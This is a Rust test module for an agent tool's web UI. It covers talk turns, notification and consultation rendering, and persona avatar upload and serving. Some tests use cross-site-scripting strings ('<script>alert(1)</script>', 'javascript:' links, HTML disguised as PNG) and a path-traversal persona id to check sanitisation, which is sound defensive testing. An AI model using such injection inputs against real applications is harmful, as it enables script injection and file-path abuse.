13943 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13944 .await
13945 .expect("detail");
13946 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13947 assert_eq!(roster, ["mock", "second"]);
13948
13949 let mut closed = talks.get(&id).expect("reload");
13950 talk::close(&mut closed, &talks).expect("close");
13951 let refused = call("mock").await.expect_err("closed talk");
13952 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13953 assert!(
13954 refused.message.contains("takes no more turns"),
13955 "{}",
13956 refused.message
13957 );
13958 }
13959
13960 #[tokio::test]
13961 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13962 let tmp = TempDir::new().expect("tempdir");
13963 let repo = tmp.path().join("repo");
13964 std::fs::create_dir_all(&repo).expect("repo dir");
13965 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13966 let home = TempDir::new().expect("temp home");
13967 let talks = Talks::at(home.path().join("talks"));
13968 let ui = Arc::new(
13969 Ui::new(
13970 Queue::at(home.path().join("queue")),
13971 Questions::at(home.path().join("questions")),
13972 talks.clone(),
13973 home.path().join("runs"),
13974 home.path().to_path_buf(),
13975 repo.clone(),
13976 )
13977 .with_worktrees_root(home.path().join("wt")),
13978 );
13979 let cfg = config_for(&repo).await.expect("discover config");
13980 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13981 let id = talk.id.clone();
13982 let call = |n: u8| {
13983 talk_implementers(
13984 State(Arc::clone(&ui)),
13985 Path(id.clone()),
13986 Json(TalkImplementers { implementers: n }),
13987 )
13988 };
13989
13990 for bad in [0u8, 4] {
13991 let e = call(bad).await.expect_err("out of range");
13992 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13993 }
13994 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13995
13996 {
13997 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14000 let busy = call(2).await.expect_err("busy talk");
14001 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14002 assert!(
14003 busy.message.contains("a talk turn is running"),
14004 "{}",
14005 busy.message
14006 );
14007 drop(guard);
14008 }
14009
14010 let Json(view) = call(3).await.expect("switch");
14011 assert_eq!(view.talk.implementers, 3);
14012 assert!(talks.get(&id).expect("reload").implementers_dirty);
14013 assert!(!view.thinking);
14014 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14015 for n in [1, 2, 3] {
14016 let Json(view) = call(n).await.expect("immediate consecutive change");
14017 assert_eq!(view.talk.implementers, n);
14018 assert!(!view.thinking);
14019 assert!(!ui.is_thinking(&id));
14020 }
14021
14022 let mut closed = talks.get(&id).expect("reload");
14023 talk::close(&mut closed, &talks).expect("close");
14024 let e = call(2).await.expect_err("closed talk");
14025 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14026 assert!(e.message.contains("takes no more turns"), "{}", e.message);
14027 }
14028
14029 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14031 let tmp = TempDir::new().expect("tempdir");
14032 let repo = tmp.path().join("repo");
14033 std::fs::create_dir_all(&repo).expect("repo dir");
14034 std::fs::write(
14035 repo.join("magi.toml"),
14036 format!("{MOCK_AGENT_TOML}\n{extra}"),
14037 )
14038 .expect("write magi.toml");
14039 let home = TempDir::new().expect("temp home");
14040 let talks = Talks::at(home.path().join("talks"));
14041 let ui = Arc::new(
14042 Ui::new(
14043 Queue::at(home.path().join("queue")),
14044 Questions::at(home.path().join("questions")),
14045 talks.clone(),
14046 home.path().join("runs"),
14047 home.path().to_path_buf(),
14048 repo.clone(),
14049 )
14050 .with_worktrees_root(home.path().join("wt")),
14051 );
14052 let cfg = config_for(&repo).await.expect("discover config");
14053 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14054 (tmp, home, ui, talk.id, repo)
14055 }
14056
14057 #[tokio::test]
14058 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14059 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14060 let mut conversation = ui.talks.get(&id).unwrap();
14061 talk::record(
14062 &mut conversation,
14063 &ui.talks,
14064 "# Update on a task you filed\noperator words",
14065 vec![],
14066 )
14067 .unwrap();
14068 conversation.turns[0].sender = None;
14070 conversation.turns[0].messages.clear();
14071 ui.talks.put(&mut conversation).unwrap();
14072 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14073 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14074 talk::drain(&mut conversation, &ui.talks).unwrap();
14075 talk::record_reply(
14076 &mut conversation,
14077 &ui.talks,
14078 "about that report",
14079 vec![],
14080 Some(talk::ReplyTarget {
14081 turn: 1,
14082 message: 1,
14083 }),
14084 )
14085 .unwrap();
14086 conversation.turns[2].messages[0]
14087 .reply
14088 .as_mut()
14089 .unwrap()
14090 .sender = None;
14091 conversation.turns.push(talk::Turn {
14092 sender: Some(talk::Sender::Persona),
14093 who: talk::Who::Agent,
14094 body: "magi: actual persona words".into(),
14095 at: Timestamp::now(),
14096 attachments: vec![],
14097 usage: None,
14098 breaks: None,
14099 messages: vec![],
14100 posted_by: None,
14101 });
14102 ui.talks.put(&mut conversation).unwrap();
14103 let view = TalkView::with_config(
14104 ui.talks.get(&id).unwrap(),
14105 false,
14106 None,
14107 &ui.home,
14108 &ui.references,
14109 );
14110 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14111 assert_eq!(
14112 view.talk.turns[1].messages[0].sender,
14113 Some(talk::Sender::Operator)
14114 );
14115 assert_eq!(
14116 view.talk.turns[1].messages[1].sender,
14117 Some(talk::Sender::Magi)
14118 );
14119 assert_eq!(
14120 view.talk.turns[2].messages[0]
14121 .reply
14122 .as_ref()
14123 .unwrap()
14124 .sender,
14125 Some(talk::Sender::Magi)
14126 );
14127 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14128 assert_eq!(view.turn_messages_md[0].len(), 1);
14129 assert!(view.turn_messages_md[0][0].is_none());
14130 assert!(view.turn_messages_md[1][0].is_none());
14131 assert!(view.turn_messages_md[1][1].is_some());
14132 }
14133
14134 #[tokio::test]
14135 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14136 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14137 let mut conversation = ui.talks.get(&id).unwrap();
14138 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14139 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14140 talk::queue_notice(
14141 &mut conversation,
14142 &ui.talks,
14143 &body,
14144 "watch:123",
14145 &|_| false,
14146 None,
14147 display.clone(),
14148 )
14149 .unwrap();
14150 assert!(
14151 !talk::queue_notice(
14152 &mut conversation,
14153 &ui.talks,
14154 &body,
14155 "watch:123",
14156 &|_| false,
14157 None,
14158 display.clone()
14159 )
14160 .unwrap()
14161 );
14162 let saved = ui.talks.get(&id).unwrap();
14163 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14164 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14165 assert!(
14166 view.talk.turns[0].messages[0].display.is_none(),
14167 "operator copy stays literal"
14168 );
14169 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14170 assert!(view.turn_messages_md[0][0].is_none());
14171 let queued_md = view.pending_messages_md[0].clone();
14172 assert_eq!(
14173 queued_md,
14174 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14175 );
14176 talk::drain(&mut conversation, &ui.talks).unwrap();
14177 talk::record_reply(
14178 &mut conversation,
14179 &ui.talks,
14180 "Explain",
14181 vec![],
14182 Some(talk::ReplyTarget {
14183 turn: 1,
14184 message: 0,
14185 }),
14186 )
14187 .unwrap();
14188 let mut saved = ui.talks.get(&id).unwrap();
14189 assert_eq!(saved.turns[1].messages[0].body, body);
14190 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
14191 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
14192 assert!(!reply.excerpt.contains("automatic report"));
14193 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
14196 let view = TalkView::with_config(
14197 ui.talks.get(&id).unwrap(),
14198 false,
14199 None,
14200 &ui.home,
14201 &ui.references,
14202 );
14203 assert_eq!(view.turn_messages_md[1][0], queued_md);
14204 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
14205 assert!(
14206 !view.talk.turns[2].messages[0]
14207 .reply
14208 .as_ref()
14209 .unwrap()
14210 .excerpt
14211 .contains("automatic report")
14212 );
14213 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
14214 }
14215
14216 #[tokio::test]
14217 async fn consultation_display_hides_directives_in_queue_and_history() {
14218 for node in [
14219 "implement",
14220 crate::land::APPROVAL_NODE,
14221 crate::github_text::ASK_NODE,
14222 ] {
14223 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14224 let mut question = Question::new(
14225 "run-123".into(),
14226 node.into(),
14227 "seat-1".into(),
14228 "Which backend?".into(),
14229 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
14230 vec!["SQLite".into(), "Redis".into()],
14231 );
14232 ui.questions.put(&mut question).unwrap();
14233 let body = crate::prompt::chat_consult(&question);
14234 let mut conversation = ui.talks.get(&id).unwrap();
14235 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14236 assert!(
14237 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
14238 );
14239 conversation = ui.talks.get(&id).unwrap();
14240 assert_eq!(conversation.pending_messages[0].body, body);
14241 assert!(body.contains("magi answer"));
14242 let mut legacy_pending = conversation.clone();
14243 legacy_pending.pending_messages[0].display = None;
14244 let legacy_view =
14245 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
14246 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
14247 assert!(legacy_md.contains("Question consultation"));
14248 assert!(!legacy_md.contains("magi answer"));
14249 let view =
14250 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14251 assert!(
14252 view.turn_messages_md[0][0].is_none(),
14253 "operator copy stays literal"
14254 );
14255 let queued_md = view.pending_messages_md[0].clone().unwrap();
14256 let rendered = serde_json::to_string(&queued_md).unwrap();
14257 for visible in [
14258 "Which backend?",
14259 "Context",
14260 "storage",
14261 "SQLite",
14262 "Redis",
14263 "<script>literal</script>",
14264 ] {
14265 assert!(rendered.contains(visible), "missing {visible}");
14266 }
14267 for directive in [
14268 "What to do",
14269 "magi answer",
14270 "Never answer it yourself",
14271 "Do not edit the repository",
14272 ] {
14273 assert!(!rendered.contains(directive), "exposed {directive}");
14274 }
14275 assert_eq!(
14276 view.talk.pending_messages[0].display,
14277 Some(crate::prompt::chat_consult_display(&question))
14278 );
14279 talk::drain(&mut conversation, &ui.talks).unwrap();
14280 let view =
14281 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14282 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
14283 assert_eq!(conversation.turns[1].messages[0].body, body);
14284
14285 conversation.turns[1].messages[0].display = None;
14288 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14289 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
14290 assert!(legacy.contains("Question consultation"));
14291 assert!(!legacy.contains("magi answer"));
14292 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14293 }
14294 }
14295
14296 #[test]
14297 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
14298 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
14299 let (body, mut display) =
14300 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
14301 display.facts = facts.into();
14302 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
14303 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
14304 let json = serde_json::to_string(&nodes).unwrap();
14305 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14306 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14307 }
14308 assert!(json.contains("<script>alert(1)</script>"));
14309 assert!(!json.contains("javascript:"));
14310 assert!(!json.contains("Tell the operator"));
14311 assert!(!json.contains("untrusted"));
14312 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14313 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14314 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14315 assert_eq!(
14316 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14317 md::to_nodes("# Status", &md::ImageBase::None),
14318 );
14319 }
14320
14321 #[tokio::test]
14322 async fn notification_display_recovers_exact_legacy_completion_references() {
14323 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14324 let mut conversation = ui.talks.get(&id).unwrap();
14325 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14326 id: "task-123",
14327 title: "Change",
14328 status: "done",
14329 reason: None,
14330 run: Some("run-123"),
14331 pr: None,
14332 summary: Some("Merge state unknown"),
14333 });
14334 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14335 conversation.turns[0].sender = None;
14336 conversation.turns[0].messages.clear();
14337 conversation.turns[0].breaks = None;
14338 conversation.pending = body.clone();
14339 conversation
14340 .completion_notices
14341 .push(crate::chat_notify::CompletionReference {
14342 task: "task-123".into(),
14343 run: Some("run-123".into()),
14344 notice: body.clone(),
14345 });
14346 ui.talks.put(&mut conversation).unwrap();
14347 let view = TalkView::with_config(
14348 ui.talks.get(&id).unwrap(),
14349 false,
14350 None,
14351 &ui.home,
14352 &ui.references,
14353 );
14354 assert_eq!(
14355 view.talk.turns[0].messages[0].display,
14356 Some(display.clone())
14357 );
14358 assert_eq!(view.talk.pending_messages[0].display, Some(display));
14359 assert_eq!(
14360 view.talk.turns[0].messages[0].sender,
14361 Some(talk::Sender::Magi)
14362 );
14363 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14364 conversation.completion_notices[0]
14365 .notice
14366 .push_str("different");
14367 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14368 assert!(view.talk.turns[0].messages.is_empty());
14369 assert!(view.talk.pending_messages.is_empty());
14370 }
14371
14372 #[tokio::test]
14373 async fn avatar_settings_report_states_and_inherit_after_corruption() {
14374 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14375 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14376 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14377 ))
14378 .await;
14379 let path = avatar_setting_path(home.path(), Some("rei"));
14380 let orphan = avatar_setting_path(home.path(), Some("removed"));
14381 save_icon_file(&orphan, icon).unwrap();
14382 for (saved, expected) in [
14383 (icon, "custom"),
14384 ("builtin", "builtin"),
14385 ("data:image/png;base64,!!!!", "inherit"),
14386 ("data:image/png;base64,PGh0bWw+", "inherit"),
14387 ("/tmp/avatar.png", "inherit"),
14388 ] {
14389 atomic_icon_write(&path, saved).unwrap();
14390 let catalog =
14391 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14392 .await
14393 .unwrap()
14394 .0;
14395 let personas = catalog["personas"].as_array().unwrap();
14396 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14397 assert_eq!(rei["override_state"], expected);
14398 assert_eq!(rei["has_config_icon"], true);
14399 assert_eq!(rei["is_orphan"], false);
14400 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14401 assert_eq!(removed["override_state"], "custom");
14402 assert_eq!(removed["is_orphan"], true);
14403 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14404 assert_eq!(default["override_state"], "inherit");
14405 assert_eq!(default["has_config_icon"], false);
14406 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14407 assert_eq!(
14408 effective.as_deref(),
14409 Some(if expected == "builtin" { "" } else { icon })
14410 );
14411 }
14412 }
14413
14414 #[tokio::test]
14415 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14416 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14417 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14418 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14419 ))
14420 .await;
14421 let target = |id: Option<&str>| AvatarSettingsQuery {
14422 persona: id.map(str::to_owned),
14423 ..Default::default()
14424 };
14425 let original_config = config_for(&repo).await.unwrap();
14426 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14427 let original_prompt = persona::section_for(&original_persona, None);
14428 let before = talk_detail(State(ui.clone()), Path(id.clone()))
14429 .await
14430 .unwrap()
14431 .0;
14432 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14433 let _ = avatar_settings_put(
14434 State(ui.clone()),
14435 Query(target(persona)),
14436 Json(MagiIconUpload { icon: icon.into() }),
14437 )
14438 .await
14439 .unwrap();
14440 let path = avatar_setting_path(home.path(), persona);
14441 assert!(path.starts_with(home.path().join("avatars")));
14442 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14443 for bad in [
14444 "/tmp/image.png".to_owned(),
14445 "data:image/png;base64,!!!!".to_owned(),
14446 "data:image/png;base64,PGh0bWw+".to_owned(),
14447 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14448 format!(
14449 "data:image/png;base64,{}",
14450 "A".repeat(persona_icon::ICON_MAX_BYTES)
14451 ),
14452 ] {
14453 assert!(
14454 avatar_settings_put(
14455 State(ui.clone()),
14456 Query(target(persona)),
14457 Json(MagiIconUpload { icon: bad })
14458 )
14459 .await
14460 .is_err()
14461 );
14462 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14463 }
14464 }
14465 assert!(read_magi_icon(home.path()).is_none());
14466 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14467 let after = talk_detail(State(ui.clone()), Path(id.clone()))
14468 .await
14469 .unwrap()
14470 .0;
14471 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14472 assert_ne!(
14473 before
14474 .personas
14475 .iter()
14476 .find(|p| p.id == "magi")
14477 .unwrap()
14478 .avatar,
14479 after
14480 .personas
14481 .iter()
14482 .find(|p| p.id == "magi")
14483 .unwrap()
14484 .avatar
14485 );
14486 let restarted = Arc::new(Ui::new(
14487 Queue::at(home.path().join("queue")),
14488 Questions::at(home.path().join("questions")),
14489 Talks::at(home.path().join("talks")),
14490 home.path().join("runs"),
14491 home.path().to_owned(),
14492 repo,
14493 ));
14494 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14495 .await
14496 .unwrap()
14497 .0;
14498 assert!(
14499 catalog["personas"]
14500 .as_array()
14501 .unwrap()
14502 .iter()
14503 .any(|p| p["id"] == "../custom/日本語")
14504 );
14505 for expected in ["custom", "default", "rei"] {
14506 assert!(
14507 catalog["personas"]
14508 .as_array()
14509 .unwrap()
14510 .iter()
14511 .any(|p| p["id"] == expected)
14512 );
14513 }
14514 let response =
14515 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14516 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14517 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14518 .await
14519 .unwrap();
14520 assert_eq!(
14521 effective_persona_icon(home.path(), "rei", Some(icon)),
14522 Some(String::new())
14523 );
14524 let response = talk_avatar(
14525 State(restarted.clone()),
14526 Path(id.clone()),
14527 Query(AvatarQuery {
14528 persona: Some("rei".into()),
14529 ..Default::default()
14530 }),
14531 )
14532 .await
14533 .unwrap();
14534 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14535 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14536 .await
14537 .unwrap()
14538 .0;
14539 assert_ne!(
14540 after
14541 .personas
14542 .iter()
14543 .find(|p| p.id == "rei")
14544 .unwrap()
14545 .avatar,
14546 reset
14547 .personas
14548 .iter()
14549 .find(|p| p.id == "rei")
14550 .unwrap()
14551 .avatar
14552 );
14553 let mut inherit = target(Some("rei"));
14554 inherit.inherit = Some("1".into());
14555 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14556 .await
14557 .unwrap();
14558 assert_eq!(
14559 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14560 Some(icon)
14561 );
14562 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14563 .await
14564 .unwrap();
14565 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14566 assert_eq!(
14567 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14568 Some(icon)
14569 );
14570 let cfg = config_for(&ui.repo).await.unwrap();
14572 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14573 assert_eq!(persona::section_for(&resolved, None), original_prompt);
14574 assert!(!original_prompt.contains("data:image"));
14575 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14576 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14577 assert!(!stored.contains("data:image"));
14578 let mut orphan = ui.talks.get(&id).unwrap();
14579 orphan.persona = "../custom/日本語".into();
14580 let view = TalkView::with_config(
14581 orphan,
14582 false,
14583 Some(&cfg),
14584 home.path(),
14585 &id_links::IndexCache::default(),
14586 );
14587 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14588 }
14589
14590 #[tokio::test]
14591 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14592 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14593 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14594 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14595 let _ = magi_icon_put(
14596 State(ui.clone()),
14597 Json(MagiIconUpload { icon: icon.into() }),
14598 )
14599 .await
14600 .unwrap();
14601 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14602 assert_ne!(original, changed);
14603 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14604 let response = magi_avatar(
14605 State(ui.clone()),
14606 Query(AvatarQuery {
14607 persona: None,
14608 builtin: None,
14609 }),
14610 )
14611 .await;
14612 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14613 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14614 assert_eq!(
14615 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14616 "nosniff"
14617 );
14618 for bad in [
14619 "data:image/png;base64,PGh0bWw+".to_owned(),
14620 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14621 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14622 ] {
14623 assert!(save_magi_icon(home.path(), &bad).is_err());
14624 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14625 }
14626 let restarted = Arc::new(Ui::new(
14628 Queue::at(home.path().join("queue")),
14629 Questions::at(home.path().join("questions")),
14630 Talks::at(home.path().join("talks")),
14631 home.path().join("runs"),
14632 home.path().to_path_buf(),
14633 repo,
14634 ));
14635 assert_eq!(
14636 magi_icon_get(State(restarted.clone())).await.0["avatar"],
14637 changed
14638 );
14639 let view = TalkView::with_config(
14640 restarted.talks.get(&id).unwrap(),
14641 false,
14642 None,
14643 &restarted.home,
14644 &restarted.references,
14645 );
14646 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14647 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14648 let response = magi_avatar(
14649 State(ui.clone()),
14650 Query(AvatarQuery {
14651 persona: None,
14652 builtin: None,
14653 }),
14654 )
14655 .await;
14656 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14657 .await
14658 .unwrap();
14659 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14660 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14661 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14662 let _ = magi_icon_delete(State(ui)).await.unwrap();
14663 }
14664
14665 async fn avatar(
14667 ui: &Arc<Ui>,
14668 id: &str,
14669 persona: Option<&str>,
14670 builtin: bool,
14671 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14672 let res = talk_avatar(
14673 State(Arc::clone(ui)),
14674 Path(id.to_owned()),
14675 Query(AvatarQuery {
14676 persona: persona.map(str::to_owned),
14677 builtin: builtin.then(|| "1".to_owned()),
14678 }),
14679 )
14680 .await
14681 .expect("an avatar is never an error response");
14682 let h = res.headers();
14683 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14684 let nosniff = h
14685 .get(header::X_CONTENT_TYPE_OPTIONS)
14686 .is_some_and(|v| v == "nosniff");
14687 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14688 let status = res.status();
14689 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14690 .await
14691 .expect("body")
14692 .to_vec();
14693 (status, ct, nosniff, csp, body)
14694 }
14695
14696 fn tiny_png() -> Vec<u8> {
14697 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14698 b.extend_from_slice(&[0u8; 32]);
14699 b
14700 }
14701
14702 #[tokio::test]
14703 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14704 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14705 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14706 assert_eq!(res.status(), StatusCode::OK);
14707 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14708 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14709 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14710 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14711 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14712 .await
14713 .unwrap();
14714 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14715 assert_ne!(
14716 persona_icon::operator_svg(),
14717 persona_icon::builtin_svg("default")
14718 );
14719 }
14720
14721 #[tokio::test]
14722 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14723 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14724 for p in [
14725 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14726 ] {
14727 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14728 assert_eq!(status, StatusCode::OK, "{p}");
14729 assert_eq!(ct, "image/svg+xml", "{p}");
14730 assert!(nosniff && csp, "{p}");
14731 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14732 }
14733 let own = avatar(&ui, &id, None, false).await;
14735 let default = avatar(&ui, &id, Some("default"), false).await;
14736 assert_eq!(own.4, default.4);
14737 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14738 assert_eq!(unknown.1, "image/svg+xml");
14739 }
14740
14741 #[tokio::test]
14742 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14743 let dir = TempDir::new().expect("icons");
14744 let good = dir.path().join("good.png");
14745 std::fs::write(&good, tiny_png()).unwrap();
14746 let spoof = dir.path().join("spoof.png");
14747 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14748 let big = dir.path().join("big.png");
14749 let mut bytes = tiny_png();
14750 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14751 std::fs::write(&big, bytes).unwrap();
14752 let missing = dir.path().join("missing.png");
14753 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14754 let extra = format!(
14755 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14756 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14757 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14758 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14759 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14760 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14761 uri(&good),
14762 uri(&spoof),
14763 uri(&big),
14764 uri(&missing),
14765 );
14766 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14767
14768 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14769 assert_eq!(
14770 (status, ct.as_str(), nosniff),
14771 (StatusCode::OK, "image/png", true)
14772 );
14773 assert_eq!(body, tiny_png());
14774 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14775 assert_eq!(ct, "image/png", "data URI");
14776
14777 for p in ["misato", "asuka", "shinji", "magi"] {
14778 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14779 assert_eq!(
14780 (status, ct.as_str(), csp),
14781 (StatusCode::OK, "image/svg+xml", true),
14782 "{p}"
14783 );
14784 assert!(body.starts_with(b"<svg"), "{p}");
14785 }
14786 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14788 assert_eq!(ct, "image/svg+xml");
14789 }
14790
14791 #[tokio::test]
